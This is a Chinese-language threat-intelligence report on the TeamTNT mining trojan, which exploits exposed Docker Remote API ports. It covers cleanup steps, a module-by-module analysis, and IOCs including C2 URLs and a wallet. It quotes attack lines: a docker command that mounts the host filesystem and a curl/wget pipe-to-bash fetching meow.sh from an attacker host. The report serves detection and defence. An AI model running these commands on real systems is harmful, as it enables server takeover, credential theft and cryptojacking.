威胁研究正文

TeamTNT挖矿木马利用Docker Remote API未授权访问漏洞入侵云服务器

2020-11-27 01:24:10

腾讯安全威胁情报中心检测到TeamTNT挖矿木马利用Docker Remote API未授权访问漏洞对云服务器进行攻击。TeamTNT挖矿木马入侵后会隐藏进程,并且通过安装定时任务持久化、通过SSH复用连接进行横向移动感染更多服务器。同时挖矿木马会占用大量CPU资源进行计算,可能导致业务系统崩溃。

一、背景

腾讯安全威胁情报中心检测到TeamTNT挖矿木马利用Docker Remote API未授权访问漏洞对云服务器进行攻击。TeamTNT挖矿木马入侵后会隐藏进程,并且通过安装定时任务持久化、通过SSH复用连接进行横向移动感染更多服务器。同时挖矿木马会占用大量CPU资源进行计算,可能导致业务系统崩溃。

腾讯安全专家建议企业用户按照以下步骤进行自查以及处置:

1. Docker Remote API2375 非必要情况不要暴露在公网,如必须暴露公网 ,则需要配置访问控制策略;

2.排查当前主机docker的容器,是否存在非正常容器,将其停止并删除;

3.排查.ssh/authorized_keys/etc/passwd/etc/shadow是否被修改或者被新增用户;

4.排查是否存在以下文件,如存在以下文件,确认其md5值,如确认为异常文件,请及时删除:

/usr/local/lib/python3.5.so

/dev/shm/sbin

/usr/bin/tshd

/usr/bin/kube

/usr/bin/bioset

/tmp/ps/.x112

/bin/sbin

/tmp/.configure/.configure   /tmp/.configure/.kube

/home/jovyan/.config/.configure  /home/jovyan/.config/.kube

腾讯安全系列产品应对TeamTNT挖矿木马变种的响应清单如下:

应用

场景

安全产品

解决方案

腾讯T-Sec

威胁情报云查服务

SaaS

1TeamTNT挖矿木马相关IOCs已入库。

各类安全产品可通过“威胁情报云查服务”提供的接口提升威胁识别能力。

可参考:https://cloud.tencent.com/product/tics

腾讯T-Sec

高级威胁追溯系统

1TeamTNT挖矿木马相关信息和情报已支持检索。

网管可通过威胁追溯系统,分析日志,进行线索研判、追溯网络入侵源头。T-Sec高级威胁追溯系统的更多信息,可参考:https://cloud.tencent.com/product/atts

云原生安全

防护

云防火墙

Cloud FirewallCFW

基于网络流量进行威胁检测与主动拦截,已支持:

1TeamTNT挖矿木马关联的IOCs已支持识别检测;

2)检测Docker Remote API未授权访问漏洞利用;

有关云防火墙的更多信息,可参考:

https://cloud.tencent.com/product/cfw

腾讯T-Sec  主机安全

Cloud Workload ProtectionCWP

1)支持查杀TeamTNT挖矿木马程序;

2)支持检测Docker Remote API未授权访问漏洞利用;

腾讯主机安全(云镜)提供云上终端的防毒杀毒、防入侵、漏洞管理、基线管理等。关于T-Sec主机安全的更多信息,可参考:https://cloud.tencent.com/product/cwp

腾讯T-Sec 安全运营中心

基于客户云端安全数据和腾讯安全大数据的云安全运营平台。已接入腾讯主机安全(云镜)、腾讯御知等产品数据导入,为客户提供漏洞情报、威胁发现、事件处置、基线合规、及泄漏监测、风险可视等能力。

关于腾讯T-Sec安全运营中心的更多信息,可参考:https://s.tencent.com/product/soc/index.html

非云企业安全防护

腾讯T-Sec

高级威胁检测系统

(腾讯御界)

1)已支持通过协议检测TeamTNT挖矿木马与服务器的网络通信

2)支持检测Docker Remote API未授权访问漏洞利用;

关于T-Sec高级威胁检测系统的更多信息,可参考:

https://cloud.tencent.com/product/nta

更多产品信息,请参考腾讯安全官方网站https://s.tencent.com/

二、详细分析


Docker Remote API未授权访问漏洞有严重风险,使用docker swarm管理的docker节点上开放一个TCP端口2375,绑定 IP 为: 0.0.0.0, 且暴露在公网上。导致攻击者可以远程管理该主机的 docker 容器,可启动、下载、重启镜像,甚至删除上面的容器。

通过 API 拉取开启一个容器后,虽然 docker 执行命令只能在container内部,与宿主机是隔离的。但docker 在运行 container的时候,可以将宿主机文件或目录作为 volume olumeolume挂载到 container内,并且在 container内部对这些文件进行修改。

攻击者可以使用以下命令,启动一个container,将宿主的目录挂载到container内,然后切换到挂载目录,即可执行任意命令。通过修改/sshd_config文件,在写入主机的ssh公钥,即可远程登录该宿主机。

docker -H tcp://x.x.x.x:2375 run -it -v /:/mnt xxx chroot /mnt sh


Docker Remote API未授权访问漏洞,攻击者通过构造特定的请求实现漏洞利用,成功利用漏洞可在目标服务器上实现权限获取,风险较高。目前漏洞的利用方式已被公开。

(https://github.com/SPuerBRead/Docker-Remote-API-Exploit/blob/master/dockerAPI_Exploit.py)

攻击者通过漏洞首先启动一个busybox容器,然后将宿主目录挂载到mnt路径下,然后执行恶意命令:

chroot /mnt bash -c curl http://0ee0da0d2bb1.ngrok.io/meow.sh | bash || wget -O - http://0ee0da0d2bb1.ngrok.io/meow.sh | bash

meow.sh主要功能是向宿主机写入公钥,并添加用户进行控制:


添加用户:


在完成了用户添加后,在登录到系统,并执行命令下载cat.sh文件。


cat.sh是整个挖矿的核心文件。有几个大模块:LOCKSCREENXMRIGSETUPMAKE_USERSSETUP_USER

通过对当前用户进行判断,根据不同的用户执行相应的操作。


LOCKSCREEN主要是鉴权操作:


XMRIGSETUP是挖矿的核心功能,

该模块首先会写入一个xmrso.tar.gz的文件,然后解压后存储为python3.5.so的文件。并通过利用预加载型恶意动态链接库的方式对进程进行隐藏。


Python3.5.so通过通过重写readdir, readdir64库函数来达到隐藏xmrig进程的目的。



计算当前主机相关性能参数,计算hashrate.


在确定hashrate,杀掉当前已有的挖矿程序后,下载挖矿主程序,并进行进行挖矿操作。为了不因为CPU利用达到100%而被发现,配置了CPU使用率上限。


MAKE_USERS 主要功能是创建一个有root权限的hilde用户,并写入公钥,修改相应权限,并修改sshd_config文件,以运行利用密码进行远程登录。


在添加完用户后,进行远程登录操作,并清楚命令记录:


SETUP_USER主要是执行前面三个模块,并下载sbin/ziggy_spread两个文件并执行。两个文件都是加载器。


在执行完以上操作后,会下载一个ssh名称的文件。


ssh文件也分为几个功能模块:setupmyappsuploadthersagetsomelansshlocalgo

首先执行setupmyapps,该模块主要是对主机安装恶意软件,包括default.jpgtshd.jpgbioset.jpgpnscan,其中default.jpg为挖矿的主程序,tshd.jpgbioset.jpg为后门文件。pnscan用以进行横向攻击时进行扫描探测。


然后执行uploadthersa,该模块的主要功能是将本地的相关的文件打包上传,如authorized_keysknown_hosts.bash_history等文件进行打包后,利用curl上传到C2服务器。


在执行getsomelanssh,该模块主要功能是通过读取相关文件,确认关联的IP,在利用pnscan进行扫描。确认是否开启22端口


再执行localgo模块,该模块主要功能是利用ssh进行横向渗透,并下载执行恶意文件。

通过以上分析能够看出该挖矿木马具有漏洞利用、挖矿、横向移动等全部功能,且能够进行进程隐藏等操作。

IOCs

IP

85.214.149.236

Domain

kaiserfranz.cc

teamtnt.red

0ee0da0d2bb1.ngrok.io

C&C

hxxps://teamtnt.red/only_for_stats/index.php

Md5

cat.sh

97dabbb953425c00b686369b1253553d

meow.sh

0536d241717e84b707da53d69af86824

default.jpg

8ffdba0c9708f153237aabb7d386d083

tshd.jpg

8c5073a491ab099d2601f99d9a45f005

bioset.jpg

b8568c474fc342621f748a5e03f71667

xmrig.so

6846fc7c1e48437d70d5d4025a14af8a

ziggy_spread

c4fb78194bee0c53c86765f40bc3f674

sbin

a2a11ec332dfd8b1b273d62f736c48a3

ssh

af17866268ba631ba85fad489dc81b0c

      

URL:

hxxp://85.214.149.236:443/sugarcrm/themes/default/images/default.jpg

hxxp://85.214.149.236:443/sugarcrm/themes/default/images/tshd.jpg

hxxp://85.214.149.236:443/sugarcrm/themes/default/images/bioset.jpg

hxxp://kaiserfranz.cc/ziggy_spread

hxxp://kaiserfranz.cc/sbin

hxxp://0ee0da0d2bb1.ngrok.io/meow.sh

hxxp://0ee0da0d2bb1.ngrok.io/cat.sh

hxxps://teamtnt.red/so/64/xmrig.so

hxxps://teamtnt.red/sh/ssh


钱包:

89oyHGJuSAVVD2NjfExz7dQ68fAKsgJptgB8CBD4qm458WgNV6BnaBgXDHJHNTG7VSbCmuWQK5ABD9UmyijKoogP64pwhPW


矿池地址:

gulf.moneroocean.stream

参考链接:

https://www.trendmicro.com/vinfo/hk-en/security/news/virtualization-and-cloud/coinminer-ddos-bot-attack-docker-daemon-ports

https://blog.aquasec.com/container-security-tnt-container-attack

https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/

在线咨询

方案定制